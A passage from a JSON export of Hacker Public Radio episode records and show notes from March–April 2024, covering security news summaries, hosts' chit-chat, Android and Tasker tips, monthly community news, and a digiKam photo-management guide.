                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, Georgia, South Carolina","version":0,"downloads":0,"valid":1}, {"id":4081,"date":"2024-03-25","title":"The Oh No! News.","duration":726,"summary":"Sgoti gives us some moral panic ridden pearl clutching nonsense.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                              \n
                                                            • TAGS: Oh No News, Threat analysis, QNAP
                                                            • \n
                                                            \n
                                                            \n

                                                            Threat analysis;\nyour attack surface.

                                                            \n
                                                              \n
                                                            • Source: QNAP\nwarns of critical auth bypass flaw in its NAS devices. The Taiwanese\nNetwork Attached Storage (NAS) device maker disclosed three\nvulnerabilities that can lead to an authentication bypass, command\ninjection, and SQL injection.
                                                              \n

                                                              \n
                                                                \n
                                                              • CVE-2024-21899: If exploited, the improper authentication\nvulnerability could allow users to compromise the security of the system\nvia a network.
                                                                \n
                                                              • \n
                                                              • CVE-2024-21900: If exploited, the injection vulnerability could\nallow authenticated users to execute commands via a network.
                                                                \n
                                                              • \n
                                                              • CVE-2024-21901: If exploited, the SQL injection vulnerability could\nallow authenticated administrators to inject malicious code via a\nnetwork.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • The flaws impact various versions of QNAP's operating systems,\nincluding QTS 5.1.x, QTS 4.5.x, QuTS hero h5.1.x, QuTS hero h4.5.x,\nQuTScloud c5.x, and the myQNAPcloud 1.0.x service.
                                                              \n

                                                            • \n
                                                            • Source: Switzerland:\nPlay ransomware leaked 65,000 government documents. In a new\nstatement published today, the Swiss government confirmed that 65,000\ngovernment documents were leaked in the breach.
                                                              \n

                                                            • \n
                                                            • Supporting Source: Hacker\nattack on Xplain: National Cyber Security Centre publishes data analysis\nreport.
                                                              \n

                                                            • \n
                                                            \n

                                                            Relevance of the published data volume.
                                                            \n

                                                            \n
                                                            \n

                                                            The data package published on the darknet comprised around 1.3\nmillion files. Once the data had been downloaded, the NCSC took the lead\nin systematically categorising and triaging all documents relevant to\nthe Federal Administration. The results showed that the volume of data\nrelevant to the Federal Administration comprised around 65,000\ndocuments, or approximately 5% of the total published data set. The\nmajority of these files belonged to Xplain (47,413) with a share of over\n70%; around 14% (9,040) belonged to the Federal Administration. Around\n95% of the Federal Administration’s files belonged to the administrative\nunits of the Federal Department of Justice and Police (FDJP): the\nFederal Office of Justice, Federal Office of Police, State Secretariat\nfor Migration and the internal IT service centre ISC-FDJP. With just\nover 3% of the data, the Federal Department of Defence, Civil Protection\nand Sport (DDPS) is slightly affected and the other departments are only\nmarginally affected in terms of volume.
                                                            \n

                                                            \n
                                                            \n

                                                            Proportion of sensitive data.
                                                            \n

                                                            \n
                                                            \n

                                                            Sensitive content such as personal data, technical information,\nclassified information and passwords was found in around half of the\nFederal Administration's files (5,182). Personal data such as names,\nemail addresses, telephone numbers and postal addresses were found in\n4,779 of these files. In addition, 278 files contained technical\ninformation such as documentation on IT systems, software requirement\ndocuments or architectural descriptions, 121 objects were classified in\naccordance with the Information Protection Ordinance and 4 objects\ncontained readable passwords.
                                                            \n

                                                            \n
                                                            \n
                                                              \n
                                                            • Supporting Source: Information\nabout the hacker attack on Xplain.
                                                              \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Xplain filed a criminal complaint after the incident, provided the\nauthorities with all the necessary information and cooperated with them\nin investigating and limiting the damage. We rebuilt the entire IT\ninfrastructure in accordance with the recommendations of the National\nCyber Security Center (NCSC) and replaced the external operators. An\nexternal audit of the infrastructure and processes was completed in\nNovember. The NCSC subsequently wrote an assessment of the audit. The\nFederal Council's strategy crisis team on data leaks (PSC-D) took note\nof the report.
                                                            \n

                                                            \n
                                                            \n
                                                              \n
                                                            • Spoofed\nZoom, Google & Skype Meetings Spread Corporate RATs.
                                                              \n
                                                            • \n
                                                            \n
                                                            \n

                                                            A threat actor is creating fake Skype, Google Meet, and Zoom\nmeetings, mimicking these popular collaboration applications to spread\nvarious commodity malware that can steal sensitive data from both\nAndroid and Windows users.
                                                            \n

                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a \"Data\nBreach\"? A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.
                                                              • \n
                                                              • What is \"Malware\"?\nMalware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                              • \n
                                                              • What is a \"Payload\"?\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.
                                                              • \n
                                                              • What is \"Phishing\"?\nPhishing is a form of social engineering\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                              • \n
                                                              • Social\nengineering (security) In the context of information security,\nsocial engineering is the psychological\nmanipulation of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.
                                                                \n
                                                              • \n
                                                              • What is \"Information\nSecurity\" (InfoSec)? Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating information risks. It\nis part of information risk\nmanagement.\n
                                                                  \n
                                                                • Information Security Attributes: Confidentiality, Integrity and Availability (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.
                                                                • \n
                                                              • \n
                                                              • What is \"Risk\nmanagement\"? Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.
                                                              • \n
                                                              • What is a \"Vulnerability\"\n(computing)? Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.
                                                              • \n
                                                              • What is an \"Attack\nSurface\"? The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.
                                                              • \n
                                                              • What is an \"Attack\nVector\"? In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                              • \n
                                                              • What is\n\"Standardization\"? Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n
                                                              • \n
                                                              • What is a \"Replay\nattack\"? A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"
                                                              • \n
                                                              • What is a\n\"Man-in-the-middle attack\"? In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.
                                                              • \n
                                                              • What is \"Transport Layer\nSecurity\" (TLS)? Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.
                                                              • \n
                                                              • What is a \"Handshake\"\n(computing)?. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.
                                                              • \n
                                                              • What is Security\ntheater? The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Oh No News, Threat analysis, QNAP","version":0,"downloads":0,"valid":1}, {"id":4082,"date":"2024-03-26","title":"No swans at Swanston","duration":2703,"summary":"MrX and Dave Morriss bring you more chit-chat from Edinburgh","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n
                                                              \n
                                                            • MrX
                                                            • \n
                                                            • Dave\nMorriss
                                                            • \n
                                                            \n

                                                            We recorded this on Saturday February 25th 2024. Our\nfavourite pub for lunch, The Steading, seemed to have closed\nsince we were last there. Research into what was going on led to the\ninformation that the company owning this and several other pubs in the\narea was selling them all.

                                                            \n

                                                            We decided to try another place in the Pentland Hills area, and went\nto the Brasserie at Swanston Farm for lunch, which was pretty\ngood. After lunch we as usual adjourned to Dave's Citroen car\n(Studio C) in the car park, and recorded a chat.

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • YouTube channel recommendations (Dave)\n
                                                                \n
                                                              1. A channel about astronomy and science. Anton goes into a fair amount\nof depth about subjects in the news relating to these themes: Anton Petrov\n
                                                                  \n
                                                                • Recent episode: Study Explains Dark\nEnergy and Inflation as Parallel Universes Colliding
                                                                • \n
                                                              2. \n
                                                              3. A channel which is all about making things out of junk. No speech,\nand only a small amount of music as the build comes together: Epic UpCycling\n
                                                                  \n
                                                                • Just watched this one, and am in awe! A Treasure Chest of\nSecret Drawers made from Pallets and Scrap
                                                                • \n
                                                              4. \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Terrible weather with highs winds and / or lashing rain (MrX)\n
                                                                \n
                                                              • Seems to be never ending.
                                                              • \n
                                                              • Have noticed quite a few fences down
                                                              • \n
                                                              • Large tree down blocking entrance to local park
                                                              • \n
                                                              • Both parents houses sustained damage, fences and roof tiles.
                                                              • \n
                                                              • So far we have been lucky with no damage
                                                              • \n
                                                              • My mother was injured while going out to rescue her outside\nbucket
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Possibly related, it seems car insurance prices are increasing (MrX)\n
                                                                \n
                                                              • I have seen some link this to the high repair cost for modern cars\nbecause they have lots of high tech included. In particular the sensors\nplaced in bumpers.
                                                              • \n
                                                              • Some have speculated this to be because the high repair cost of\nEV's.
                                                              • \n
                                                              • I came across this YouTube video that shows that global insurance\nclaims have been historically large in recent years due to natural\ndisasters. While the video concentrates on properties I'm sure it also\nwill be affecting car insurance. I believe this likely to be having the\nmost prominent factor for insurance increases. Insurers ABANDONING high\nclimate risk properties
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • I got a Steam Deck for Christmas! (Dave)\n
                                                                \n
                                                              • I borrowed my son's Nintendo Switch in November 2023 to see if I\ncould see the screen and play games on it. I could, but haven't played\ngames since the 1980's so I'm terrible at it!
                                                              • \n
                                                              • I told them I might buy myself a Steam Deck in 2024, but wasn't\nsure.
                                                              • \n
                                                              • Much to my surprise my family jointly bought me a Steam Deck for\nChristmas!
                                                              • \n
                                                              • I am pretty bad at using it, but I'm practising
                                                              • \n
                                                              • I'm learning Stardew Valley at first, but I'd quite like to\ntry Kerbal Space Programme at some point.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Cinema visits / movies: (MrX)\n
                                                                \n
                                                              • Hunger Games pre sequel\n
                                                                  \n
                                                                • Was not rated very highly but me and Mrs X actually really enjoyed\nit.
                                                                • \n
                                                              • \n
                                                              • Oppenheimer\n
                                                                  \n
                                                                • Knowing something of the background story was advantageous
                                                                • \n
                                                              • \n
                                                              • Barbie\n
                                                                  \n
                                                                • Watched on DVD!
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Ticks (Dave)\n
                                                                \n
                                                              • We spoke about this subject last time we met. Later, I was reminded\nof a disease called alpha-gal\nsyndrome, first detected in the USA, which can follow a tick bite.
                                                              • \n
                                                              • It is caused by the injection of a carbohydrate by the tick, which\nit has obtained by feeding on another mammal. The carbohydrate is called\nGalactose-α-1,3-galactose, also known as alpha-gal. This causes\na strong immune reaction because it's a foreign substance which isn't\nfound in humans.
                                                              • \n
                                                              • The result is an allergy\nto red meat, which contains alpha-gal!
                                                              • \n
                                                              • This syndrome has been found in the USA and Australia and several\nother places, but now seems to be coming to Europe and has been seen in\nthe UK.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Dog-friendly places (MrX)\n
                                                                \n
                                                              • Waterstones\nbook store is dog friendly. Possibly only relevant to people living in\nBritain? They have a cafe upstairs which accepts dogs.
                                                              • \n
                                                              • The pub we used to meet in, The Steading, was dog friendly as well.\nThe latest venue does not seem to be, but is a restaurant, not a\npub.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Raspberry Pi stuff (both)\n
                                                                \n
                                                              • Dave pre-ordered a RPi 5 in November 2023 and it arrived in\nDecember. He decided to get a Pimoroni NVMe Base to take an SSD, and\nordered that once it was available on pre-order. Now the RPi 5 is\nequipped with a 500GB SSD attached underneath, running off the PCIe\ninterface.
                                                              • \n
                                                              • Dave is working at setting up two RPi 4B systems, and a RPi 3A to\nrun various services in his house. Currently setting up Pi-hole. The RPi\n5 will be added to this combination in due course.
                                                              • \n
                                                              • MrX bought a RPi 4B in 2023 (as they became more available) which he\ninitially intended setting up with XBMC. He had problems playing certain\nvideo resolutions with the latest version of LibreELEC running XBMC. He\nhas now decided to use it to replace an ageing server located\nupstairs.
                                                              • \n
                                                              • Dave's 'what_pi' script that tells you about your Pi's\nsettings doesn't work on Raspberry Pi OS since this OS stores the\ninformation it needs quite differently from Raspbian.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Visit to Blackpool (MrX)\n
                                                                \n
                                                              • Met up with family for the long weekend in Blackpool.
                                                              • \n
                                                              • It was bitterly cold and very windy, but we had a good time.
                                                              • \n
                                                              • While there we were lucky to get a trip on a 100 year old tram.
                                                              • \n
                                                              • The tram had very unique seats that allowed you to flip the back\nover, so they are pointed in either direction, depending on the\ndirection of travel. I thought this was very clever. Haven't seen this\non modern buses or trams, perhaps because they don't meet modern safety\nregulations.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Edinburgh\nTrams (MrX)\n
                                                                \n
                                                              • Following Dave's recommendation from our last show. Me, Mrs X and\nour 4 legged companion took the tram all the way from Ingliston park and\nride to Newhaven. Our four legged companion loved the trams.
                                                              • \n
                                                              • Seems there has been so much development.
                                                              • \n
                                                              • Saw lots of new things along the way.
                                                              • \n
                                                              • Lots of other interesting places and walks for future trips.
                                                              • \n
                                                              • Can't believe it's taken us so long to appreciate the tram. We have\nused the train in the past but it's a bit limited by the places it goes\nthough it is very convenient from our location.
                                                              • \n
                                                              • Think we may be using the tram a bit more in future.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • HPR changes (Dave)\n
                                                                \n
                                                              • Ken has enhanced some aspects of the calendar page:\n
                                                                  \n
                                                                • Reserved show overview - a list of what's in the reserve queue with\ndate, host and show title (suggestion from Archer72).
                                                                • \n
                                                                • Statistics - a call interface that returns JSON data containing most\nof the old statistics plus a few more (requested by MrX).
                                                                • \n
                                                              • \n
                                                              • These changes were also mentioned in the last Community\nNews
                                                              • \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • Bash help command (Dave)\n
                                                                \n
                                                              • There is a help command in Bash which is useful for\ngetting information about Bash built-in commands. For example\n'help read' will give you a one-page summary of this\ncommand which saves a lot of searching through the Bash man page.
                                                              • \n
                                                              • The example mentioned in the audio 'help test' also\nworks, but since it's a stand-alone command the result is quite similar\nto typing 'man test'.
                                                              • \n
                                                              • There are very few (if any) examples though, and that's where\ntldr will be better!
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Edinburgh,Swanston Farm,meeting","version":0,"downloads":0,"valid":1}, {"id":4083,"date":"2024-03-27","title":"Drivecast: Man-talk.","duration":518,"summary":"Sgoti discusses men's issues, while driving.","notes":"

                                                            Drivecast: Man-talk.

                                                            \n

                                                            Sgoti discusses\nmen's issues, while driving.

                                                            \n
                                                              \n
                                                            • Tags: Drivecast, man-talk, mens health

                                                            • \n
                                                            • Source: Human\nmale reproductive system

                                                            • \n
                                                            • Supporting Source: Human penis

                                                              \n
                                                                \n
                                                              • In human anatomy, the penis is an external male sex organ\n(intromittent organ) that additionally serves as the urinary duct.
                                                              • \n
                                                            • \n
                                                            • Supporting Source: Urethra

                                                              \n
                                                                \n
                                                              • The urethra is a tube that connects the urinary bladder to the\nurinary meatus for the removal of urine from the body of both females\nand males.
                                                              • \n
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Drivecast, man-talk, mens health","version":0,"downloads":0,"valid":1}, {"id":4084,"date":"2024-03-28","title":"Cloud learning","duration":614,"summary":"My experience trying to train a model online","notes":"

                                                            I talk about my experience trying to run some GPU tasks online in\norder to train a model. I've tried all the large cloud providers we have\nout there and some of them were easier to work with, and some of them\nimpossible.

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"machine learning, cloud learning","version":0,"downloads":0,"valid":1}, {"id":4085,"date":"2024-03-29","title":"Android User Land Google Assistant GPT","duration":1946,"summary":"operat0r tells you how to get past no ADB and blocking of 3rd party APKS","notes":"
                                                              \n
                                                            • Android no ads on brower and youtube with youtube sponsorblock !\nhttps://youtu.be/JKUmM9r63F8

                                                            • \n
                                                            • Use gpt4-turbo with Tasker Chat GPT
                                                              \ngoto Chat GPT > Tasks > ChatGPT Set GPT Version > then change\nthe varable Set from gpt-4 to whatever gpt-4-1106-preview see use gpt4\nturboe openai

                                                            • \n
                                                            • ripp all https://taskernet.com/?public&time=AllTime
                                                              \nI will add to show notes when it's done .. lol ...

                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking,android","version":0,"downloads":0,"valid":1}, {"id":4086,"date":"2024-04-01","title":"HPR Community News for March 2024","duration":3602,"summary":"HPR Volunteers talk about shows released and comments posted in March 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Henrik Hemrin.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4065Fri2024-03-01Framework 13 (13th gen Intel) reviewNoodlez
                                                            4066Mon2024-03-04HPR Community News for February 2024HPR Volunteers
                                                            4067Tue2024-03-05Hacking AI Models to Protect your Livelihoodhobs
                                                            4068Wed2024-03-06Replacing a lightbulb in a microwave OvenMrX
                                                            4069Thu2024-03-07Passwords and Bitwarden news.Some Guy On The Internet
                                                            4070Fri2024-03-08Civilization IIIAhuka
                                                            4071Mon2024-03-11Migration to digiKam as Digital Asset Management (DAM)Henrik Hemrin
                                                            4072Tue2024-03-12Piper text to speech engineArcher72
                                                            4073Wed2024-03-13Is the 1990 documentary \"Cyberpunk\" worth watching today?Trixter
                                                            4074Thu2024-03-14Jade EmpireDaniel Persson
                                                            4075Fri2024-03-15Making a Pomodoro Timernorrist
                                                            4076Mon2024-03-18WLED House Lights!operat0r
                                                            4077Tue2024-03-19FFMPEG Series: Joining and Splitting filesMr. Young
                                                            4078Wed2024-03-20Learning to read music, part two: pitchenistello
                                                            4079Thu2024-03-21The Corresponding SourceKen Fallon
                                                            4080Fri2024-03-22Georgia to South CarolinaAhuka
                                                            4081Mon2024-03-25The Oh No! News.Some Guy On The Internet
                                                            4082Tue2024-03-26No swans at SwanstonDave Morriss
                                                            4083Wed2024-03-27Drivecast: Man-talk.Some Guy On The Internet
                                                            4084Thu2024-03-28Cloud learningDaniel Persson
                                                            4085Fri2024-03-29Android User Land Google Assistant GPToperat0r
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3060\n(2020-04-24) \"Running a local imap server\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSomebdy on 2024-03-19:\n\"Nothing in particular\"
                                                              • \n
                                                              • \nComment 2:\nKen Fallon on 2024-03-20:\n\"Very suspicious comment.\"

                                                              \n
                                                            • hpr4062\n(2024-02-27) \"HPR Music Series? - How will it go for the girl and me?\"\nby Fred Black.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nbrian-in-ohio on 2024-03-01:\n\"Good show\"
                                                              • \n
                                                              • \nComment 4:\nnorrist on 2024-03-02:\n\"I loved the Music\"

                                                              \n
                                                            • hpr4063\n(2024-02-28) \"Re: ChatGPT Output is not compatible with CC-BY-SA \"\nby dnt.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbrian-in-ohio on 2024-03-01:\n\"Amen\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr4067\n(2024-03-05) \"Hacking AI Models to Protect your Livelihood\"\nby hobs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-03-05:\n\"Dejavu... Is this the same as HPR4055?\"

                                                              \n
                                                            • hpr4068\n(2024-03-06) \"Replacing a lightbulb in a microwave Oven\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-03-06:\n\"Nicely done.\"
                                                              • Comment 2:\nKen Fallon on 2024-03-08:\n\"Be very careful\"

                                                              \n
                                                            • hpr4069\n(2024-03-07) \"Passwords and Bitwarden news.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDeltaray on 2024-03-10:\n\"Thanks for the shout out\"

                                                              \n
                                                            • hpr4071\n(2024-03-11) \"Migration to digiKam as Digital Asset Management (DAM)\"\nby Henrik Hemrin.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2024-03-15:\n\"Good show!\"

                                                              \n
                                                            • hpr4073\n(2024-03-13) \"Is the 1990 documentary \"Cyberpunk\" worth watching today?\"\nby Trixter.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHPR Listener on 2024-03-16:\n\"Restoration on archive.org\"
                                                              • Comment 2:\nTrixter on 2024-03-18:\n\"A slightly better version\"

                                                              \n
                                                            • hpr4075\n(2024-03-15) \"Making a Pomodoro Timer\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-03-15:\n\"Great project\"

                                                              \n
                                                            • hpr4077\n(2024-03-19) \"FFMPEG Series: Joining and Splitting files\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-03-20:\n\"Useful to learn how ffmpeg can be used\"

                                                              \n
                                                            • hpr4078\n(2024-03-20) \"Learning to read music, part two: pitch\"\nby enistello.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-03-20:\n\"Desperate plea for a drummer to respond?\"

                                                              \n
                                                            • hpr4081\n(2024-03-25) \"The Oh No! News.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-03-25:\n\"Pearl clutching\"
                                                              • Comment 2:\nhpr listener on 2024-03-25:\n\"Unnecessary insult\"
                                                              • Comment 3:\nKen Fallon on 2024-03-26:\n\"@hpr listener\"
                                                              • Comment 4:\nSome Guy on the Internet on 2024-03-26:\n\"Desperately, with white knuckles, clutching pearls.\"
                                                              • Comment 5:\nHenrik Hemrin on 2024-03-27:\n\"/e/OS - an open source Android alternative\"
                                                              • Comment 6:\nKevin O'Brien on 2024-03-28:\n\"Good Show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-March/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Many Podcatchers\ndon't show the episode author

                                                            \n
                                                              \n
                                                            • It seems that the author fields in RSS and Atom feeds\nare not shown by a number of Podcatchers. This field is\nintended to show the author details, and with HPR shows it contains an\nobfuscated email address and a name:
                                                            • \n
                                                            \n
                                                                    ken.nospam@nospam.fallon.ie (Ken Fallon)
                                                            \n
                                                              \n
                                                            • The lack of this information makes knowing who created a given\nHPR show difficult to determine before listening to it.

                                                            • \n
                                                            • A question has been raised as to whether we could include the\nauthor details at the start of the show notes.

                                                            • \n
                                                            • Comments are requested from the Community as to whether this\nwould be a useful addition.

                                                            • \n
                                                            \n

                                                            The Corresponding\nSource - renamed podcast

                                                            \n
                                                              \n
                                                            • The Corresponding Source (formerly Free as in Freedom) is a\nbi-weekly oggcast, hosted and presented by Bradley M. Kuhn and Karen Sandler. The discussion includes\nlegal, policy, and many other issues in the Free, Libre, and Open Source\nSoftware (FLOSS) world. Occasionally, guests join Bradley and Karen to\ndiscuss various topics regarding FLOSS.\n
                                                                \n
                                                              • See HPR show\n4079
                                                              • \n
                                                            • \n
                                                            \n

                                                            HPR changes

                                                            \n
                                                              \n
                                                            • The correspondent pages which show details of a\nparticular correspondent (host), and lists their shows, have been\nenhanced to include the profile which has been uploaded by the host.\nThis was present on the old site but was omitted on the static site.\nThis was issue number 181 on the Gitea site, which has been closed.\n
                                                                \n
                                                              • Example: Host 30,\nKen Fallon
                                                              • \n
                                                            • \n
                                                            \n

                                                            Return of OggCamp

                                                            \n
                                                              \n
                                                            • There are plans to hold OggCamp 2024 in Manchester, UK this year,\nafter an absence of 5 years. It will be on October 12th and\n13th at the The Manchester Conference Centre in the\nPendulum Hotel near Picadilly Station, where the last OggCamp was\nheld.

                                                            • \n
                                                            • Details may be found on the OggCamp website, and announcements will\nbe made on social media sites.

                                                            • \n
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4087,"date":"2024-04-02","title":"Getting started with the digiKam photo management software","duration":416,"summary":"I will give you some suggestions to getting started with digiKam based on my experience.","notes":"Getting\nstarted with the digiKam photo management software.\n

                                                            In hpr4071 I talked about my migration from Adobe Photoshop Elements\nand Lightroom to digiKam.

                                                            \n

                                                            Today I will give you some suggestions to getting started with\ndigiKam, based on my experience and my opinion.

                                                            \n

                                                            You find the digiKam website at https://www.digikam.org/.

                                                            \n

                                                            On the documentation page you find a good and exhaustive\ndocumentation. The big user manual can be read online or downloaded as\nan epub book. I suggest you browse the manual before you install\ndigiKam.

                                                            \n

                                                            My second suggestion is that you go to the Support page on the\ndigiKam site and look at the Mailing List Subscription section. You can\nbrowse the mailing list archive online. But I really recommend you to\nalso join the mailing list. It is a very active mailing list where also\nthe main developers participates actively. Many questions are specific\nand may not be of interest to you. But I have found that I learn a lot\nabout digiKam, its capabilities and other ways of working with photos\nthan I have thought of. Of course I also learn about issues. I have\nasked some questions myself and also contributed with answers. I highly\nrecommend you to join the mailing list.

                                                            \n

                                                            Thirdly, before you install digiKam, I suggest you copy a couple of\nyour photos into a new sample folder. When you start digiKam for the\nfirst time a guide starts to help you to configure initial settings. One\nconfiguration is to tell digiKam where your photos are located. I\nsuggest you use this sample folder only. Later on you add your real\nphoto folders and you can also at the same screen delete the sample\nfolder from digiKam. I suggest this because then you can consider\nsettings in more detail first which includes the settings for meta data\nimport to digiKam.

                                                            \n

                                                            Forthly, consider also where you want to store the digiKam databases.\nMyself, I created a folder for them at the top level of my home catalog.\nBut you can store them wherever you want to.

                                                            \n

                                                            Install digiKam. Go to the digiKam settings. There are a lot of\nsettings. I will focus only on meta data settings.

                                                            \n

                                                            DigiKam stores what you do in its own databases. That is mandatory.\nIn the settings, it is possible to select what should be written to\nmetadata and not. Meta data settings also have settings for associated\nfiles, which most of all is about xmp side cars.

                                                            \n

                                                            You can select that digiKam should read from associated files. This\nis important to decide before your photo collection is imported into\ndigiKam. If you forget, it is possible to read meta data again after you\nchange settings.

